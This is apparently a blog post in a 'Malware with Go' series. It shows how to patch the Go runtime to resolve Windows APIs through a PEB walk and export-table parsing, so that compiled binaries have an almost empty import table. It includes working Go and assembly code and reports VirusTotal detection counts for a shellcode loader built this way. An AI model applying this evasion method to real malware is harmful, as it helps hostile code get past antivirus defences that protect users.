Post

Malware with Go - 2: IAT Hiding

I will show how to modify Go toolchain to make the Import Address Table (IAT) of Go executables more empty. I will then analyse how this affects malware detection.

Exposing Go IAT

To show what we need to do, lets first compile a small basic binary with Go for windows.

1
2
3
4
5
6
7
8
9
package main

import (
        "fmt"
)

func main()  {
    fmt.Println("Hey")
}

We compile with

1
GOOS=windows GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-s -w" -trimpath -o main.exe main.go

When we analyse the binary with dumpbin we see the following:

This seems weird, because I am just using a print in my code. I never used VirtualAlloc, neither ever freed any allocated memory (even when I code in C I never free :( )

So what is actually happening here ?

Well, Go embeds his runtime along with a debugger and a memory manager with each exe. For these to work properly, Go need to use all the imported functions from kernel32.dll.

And, why should I care ?

Normally you shouldn’t care. And you are right. Any exe will import some functions and have a non empty IAT.

That being said, some AV/EDR use the IAT to pinpoint some malicious pattern that can be used in code. While IAT is not at the core of AV/EDR decision making, it surely has its role.

So by controlling what functions are in the IAT, we hope to make the binary less detectable.

How to proceed ?

Well, there is no way around it, we NEED to tamper the Go toolchain.

The idea is to code two function, GetModuleHandleReplace and GetProcAddressReplace, then use them in the Go Toolchain instead of the import from kernel32.dll.

We will call this new version of go evil-go.

Note that evil-go will be made for Windows, no guaranty that evil-go will even let you compile stuff for linux anymore.

Pinpointing the KERNEL32.DLL imports in Go Toolchain

Lets go straight to the point, they are here https://github.com/golang/go/blob/master/src/runtime/os_windows.go

More precisely, in the comments.

1
//go:cgo_import_dynamic runtime._GetSystemInfo GetSystemInfo%1 "kernel32.dll"

For example, the above line will load the address of GetSystemInfo winapi from the virtual memory of the process and then write this address in the variable runtime._GetSystemInfo.

This will result in GetSystemInfo to be in the IAT of the Go binary.

What we will do is delete the cgo_import_dynamic line, and replace it with:

1
_GetSystemInfo = stdFunction(unsafe.Pointer(GetProcAddressReplace(GetModuleHandleReplace("kernel32.dll"), "GetSystemInfo")))

We will put the above line at the beginning of os_init() function in go (this is where everything starts).

We shall do that for all the function that we want to delete from IAT. All the function can be replaced except for TLSAlloc. If you replace it with this method the generated Go binaries will not run.

Now we just have to code GetProcAddressReplace and GetModuleHandleReplace in go.

Coding GetModuleHandleReplace

This function will return the Handle of a given module. Here it is only used for Kernel32.dll.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
func GetModuleHandleReplace(wantedModule string) (e HANDLE) {
	ppeb_uintptr := GetPEB()

	ppeb := PPEB64(unsafe.Pointer(uintptr(ppeb_uintptr)))

	pLdr := ppeb.LoaderData
	pListEntry := pLdr.InMemoryOrderModuleList.Flink
	pListEntryStart := pLdr.InMemoryOrderModuleList.Blink

	for pListEntry != pListEntryStart {
		pDte := PLDR_DATA_TABLE_ENTRY(unsafe.Pointer(pListEntry))
		if areEqual(&pDte.FullDllName, wantedModule) {
			return HANDLE(unsafe.Pointer(pDte.InInitializationOrderLinks.Flink))
		}

		pListEntry = pListEntry.Flink
	}
	pDte := PLDR_DATA_TABLE_ENTRY(unsafe.Pointer(pListEntry))
	if areEqual(&pDte.FullDllName, wantedModule) {
		return HANDLE(unsafe.Pointer(pDte.InInitializationOrderLinks.Flink))
	}
	return 0
}

The full implementation can be found above. This was largely inspired from Vx-underground replacement functions.

In the above code areEqual compare a windows UNICODE_STRING to a string.

GetPEB return the process PEB by reading an offset from GS register:

1
2
3
4
5
6
7
8
9
10
11
// +build !noasm
#include "textflag.h"

// func GetPEB() uintptr
TEXT ·GetPEB(SB),NOSPLIT|NOFRAME,$0-8
    PUSHQ   CX
    MOVQ    0x60(GS), CX   
    MOVQ    CX, ret+0(FP) 
    POPQ   CX
    RET

Coding GetProcAddressReplace

This function will take the handle of a module, and an windows API name, then return the address of this windows API in the handle.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
func GetProcAddressReplace(hModule HANDLE, winApiName string) uintptr {
	pBase := unsafe.Pointer(hModule)
	pImgDosHeader := PIMAGE_DOS_HEADER(pBase)
	if pImgDosHeader.E_magic != IMAGE_DOS_SIGNATURE {
		println("Messed Up Getting the DosHeader")
	}

	pImgNtHdrs := PIMAGE_NT_HEADERS32(unsafe.Pointer(uintptr(pBase) + uintptr(pImgDosHeader.E_lfanew)))
	if pImgNtHdrs.Signature != IMAGE_NT_SIGNATURE {
		println("Messed Up getting NTHeader")
	}

	if pImgNtHdrs.FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64 {
		pImgNtHdrs64 := PIMAGE_NT_HEADERS64(unsafe.Pointer(pImgNtHdrs))
		ImgOptHdr := pImgNtHdrs64.OptionalHeader
		if ImgOptHdr.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC {
			println("Messed Up getting Image Optional Header for x64 arch")
		}
		pImgExportDir := PIMAGE_EXPORT_DIRECTORY(unsafe.Pointer(uintptr(pBase) + uintptr(ImgOptHdr.DataDirectory.VirtualAddress)))

		numFunction := pImgExportDir.NumberOfFunctions

		AddressOfFuntionList := unsafe.Slice((*DWORD)(unsafe.Pointer(uintptr(pBase)+uintptr(pImgExportDir.AddressOfFunctions))), pImgExportDir.NumberOfFunctions)
		AddressOfNamesList := unsafe.Slice((*DWORD)(unsafe.Pointer(uintptr(pBase)+uintptr(pImgExportDir.AddressOfNames))), pImgExportDir.NumberOfFunctions)
		AddressOfNameOrdinalList := unsafe.Slice((*WORD)(unsafe.Pointer(uintptr(pBase)+uintptr(pImgExportDir.AddressOfNameOrdinals))), pImgExportDir.NumberOfFunctions)

		for i := DWORD(0); i < numFunction; i++ {
			functionNameRVA := AddressOfNamesList[i]

			if areEqual2(uintptr(pBase), functionNameRVA, winApiName) {
				return uintptr(pBase) + uintptr(AddressOfFuntionList[AddressOfNameOrdinalList[i]])
			}
		}

	}
	return 0
}

Again the above implementation is very inspired from VX-underground. I don’t treat 32 bit cases (as you see from my big if, I gave up after)

The function areEqual2 take a base address, an RVA and a target string then compare them.

Results

The above 2 function were tested against the reald GetModuleHandle and GetProcAddress given in the official windows API. They return the same value (which is nice).

After integrating these 2 functions in the toolchains as mentionned above, we can recompile the Go toolchain (a bootstrap bash file is given).

evil-go is born.

Then we can take the same go code that prints “hey” and compile it with evil-go this time.

1
GOOS=windows GOARCH=amd64 CGO_ENABLED=0 ./evil-go build -ldflags="-s -w" -trimpath -o evilmain.exe main.go

The exe executes, but this time the IAT only contains TLSAlloc.

Amazing, so cool, but was it worth it ?

Well, lets check with our baby shellcode loader. This was presented in another post in this blog. It is the classic malware that does a virtualAllocEx, WriteProcessMemory and createThreadEx with some VirtualProtectEx along the way.

Sadly, the amazing baby shellcode loader that I presented that was only detected by 11 AV is now detected by 40 AV (Yeah, only noobs upload their binaries to VirusTotal, so please don’t do it).

However, what I did not tell you, is that at the time, the same code compiled with evil-go was detected by 6 AV. Now it is detected by 27 AV.

This might seems confusing. Here is a recap:

TimeBaby Shellcode with GoSame Baby Shellcode with evil-go
On uploadDetected by 11 AVDetected by 6 AV
10 Days LaterDetected by 40 AVDetected by 27 AV

And of course this will change through time as AV learn and learn. I will put the link to the virustotal sample here as well as screenshots at the time of this blog writing:

Baby Shellcode with Go

Baby Shellcode with evil-go

Conclusion

So it is cool. It was worth it. But it is not sufficient to always bypass AV.

At least now we have control over IAT in Go, which is quite nice.

This post is licensed under CC BY 4.0 by the author.

Trending Tags